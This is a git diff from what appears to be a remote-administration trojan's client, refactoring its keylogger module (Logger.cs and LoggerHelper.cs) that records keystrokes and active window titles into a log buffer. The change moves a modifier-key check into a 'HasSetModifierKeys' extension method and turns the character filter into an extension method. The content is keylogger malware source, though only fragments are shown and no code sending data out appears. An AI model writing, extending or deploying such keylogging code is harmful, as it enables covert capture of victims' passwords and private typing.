diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 33e0b45b..212c03a3 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -100,7 +100,7 @@ namespace xClient.Core.Keylogger _logFileBuffer.Append(@"



[" + activeWindowTitle + "]


"); } - if (ModifierKeysSet()) + if (_pressedKeys.HasSetModifierKeys()) { if (!_pressedKeys.Contains(e.KeyCode)) { @@ -134,7 +134,7 @@ namespace xClient.Core.Keylogger if (!_pressedKeyChars.Contains(e.KeyChar)) { _pressedKeyChars.Add(e.KeyChar); - _logFileBuffer.Append(LoggerHelper.Filter(e.KeyChar)); + _logFileBuffer.Append(e.KeyChar.Filter()); } } @@ -145,16 +145,6 @@ namespace xClient.Core.Keylogger _pressedKeyChars.RemoveAt(i); } - private bool ModifierKeysSet() - { - return _pressedKeys.Contains(Keys.LControlKey) - || _pressedKeys.Contains(Keys.RControlKey) - || _pressedKeys.Contains(Keys.LMenu) - || _pressedKeys.Contains(Keys.RMenu) - || _pressedKeys.Contains(Keys.LWin) - || _pressedKeys.Contains(Keys.RWin); - } - private string HighlightSpecialKeys(Keys[] keys) { if (keys.Length < 1) return string.Empty; @@ -165,7 +155,7 @@ namespace xClient.Core.Keylogger names[i] = LoggerHelper.GetDisplayName(keys[i].ToString()); } - if (ModifierKeysSet()) + if (_pressedKeys.HasSetModifierKeys()) { StringBuilder specialKeys = new StringBuilder(); diff --git a/Client/Core/Keylogger/LoggerHelper.cs b/Client/Core/Keylogger/LoggerHelper.cs index 7b68479b..c547d23d 100644 --- a/Client/Core/Keylogger/LoggerHelper.cs +++ b/Client/Core/Keylogger/LoggerHelper.cs @@ -1,10 +1,13 @@ -using System.Text; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Windows.Forms; namespace xClient.Core.Keylogger { - public class LoggerHelper + public static class LoggerHelper { - public static string Filter(char key) + public static string Filter(this char key) { if ((int)key < 32) return string.Empty; @@ -27,7 +30,7 @@ namespace xClient.Core.Keylogger } return key.ToString(); } - + public static string GetDisplayName(string key) { if (key.Contains("ControlKey")) @@ -52,5 +55,15 @@ namespace xClient.Core.Keylogger return (!string.IsNullOrEmpty(title)) ? title : null; } + + public static bool HasSetModifierKeys(this List KeyCollection) + { + return KeyCollection.Any(KeyItem => (KeyItem == Keys.LControlKey) || + (KeyItem == Keys.RControlKey) || + (KeyItem == Keys.LMenu) || + (KeyItem == Keys.RMenu) || + (KeyItem == Keys.LWin) || + (KeyItem == Keys.RWin)); + } } -} +} \ No newline at end of file